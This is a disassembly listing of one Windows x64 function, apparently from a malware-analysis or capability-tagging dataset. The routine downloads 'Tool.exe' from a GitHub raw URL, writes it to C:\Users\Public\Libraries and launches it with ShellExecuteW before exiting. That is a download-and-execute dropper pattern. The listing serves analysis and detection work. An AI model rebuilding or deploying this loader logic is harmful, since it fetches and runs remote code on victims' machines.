Function at 0x1400114b0
Capabilities:
Create process on windows
Download url
Receive data
Terminate process

Disassembly:
jmp 0x140017cd0
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xa6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140026040]
xor rax, rbp
mov qword [rbp + 0x400], rax
lea rcx, [0x14002c0f7]
call fcn.1400116c2
movzx r8d, byte [rbp + 0x304]
lea rdx, str.https:__github.com_meLdozyk_Dhf_5FjfD4_raw_main_Tool.exe
lea rcx, [rbp + 0x2a8]
call fcn.1400117e9
mov rcx, rax
call fcn.1400117f8
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14001130c
nop
lea rdx, str.C:UsersPublicLibrariesTool.exe
lea rcx, [rbp + 0x48]
call fcn.140011244
nop
lea rcx, [rbp + 0x48]
call fcn.140011253
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rbp + 0x84], eax
movsxd rax, dword [rbp + 0x84]
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.1400113de
nop
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.1400110e1
mov qword [rbp + 0x3f8], rax
lea rcx, [rbp + 0x48]
call fcn.140011253
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov ecx, dword [rbp + 0x84]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x3f8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xffffffff
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rbp + 0xa8]
call fcn.1400110aa
mov qword [rbp + 0x3f8], rax
lea rcx, [rbp + 8]
call fcn.1400110aa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x3f8]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.14001119f
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140017f23
lea rcx, [rbp + 0x48]
call fcn.140011253
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rbp + 0x108], rax
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
cmp dword [rbp + 0x108], 0x20
jg 0x140017f21
lea rax, [rbp + 0x324]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x344]
lea rcx, [rbp + 0x324]
call fcn.140015af0
mov rcx, rax
call fcn.1400117e4
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110cd
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x364], 1
lea rcx, [rbp + 0xa8]
call fcn.14001114f
lea rcx, [rbp + 0x48]
call fcn.1400115ff
lea rcx, [rbp + 8]
call fcn.14001114f
mov eax, dword [rbp + 0x364]
jmp 0x140017fd0
jmp 0x140017fa2
lea rax, [rbp + 0x384]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x3a4]
lea rcx, [rbp + 0x384]
call fcn.140015b50
mov rcx, rax
call fcn.1400117e4
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110cd
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x3c4], 1
lea rcx, [rbp + 0xa8]
call fcn.14001114f
nop
lea rcx, [rbp + 0x48]
call fcn.1400115ff
nop
lea rcx, [rbp + 8]
call fcn.14001114f
mov eax, dword [rbp + 0x3c4]
jmp 0x140017fd0
mov dword [rbp + 0x3e4], 0
lea rcx, [rbp + 0xa8]
call fcn.14001114f
lea rcx, [rbp + 0x48]
call fcn.1400115ff
lea rcx, [rbp + 8]
call fcn.14001114f
mov eax, dword [rbp + 0x3e4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140021030]
call fcn.1400115b4
mov rax, rdi
mov rcx, qword [rbp + 0x400]
xor rcx, rbp
call fcn.140011357
lea rsp, [rbp + 0x418]
pop rdi
pop rbp
ret